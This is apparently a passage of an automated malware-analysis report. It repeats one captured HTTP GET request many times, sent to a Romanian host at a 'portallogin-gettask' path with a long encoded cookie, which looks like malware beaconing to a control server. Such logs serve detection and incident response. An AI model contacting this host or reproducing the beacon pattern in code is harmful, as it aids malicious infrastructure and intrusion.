Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
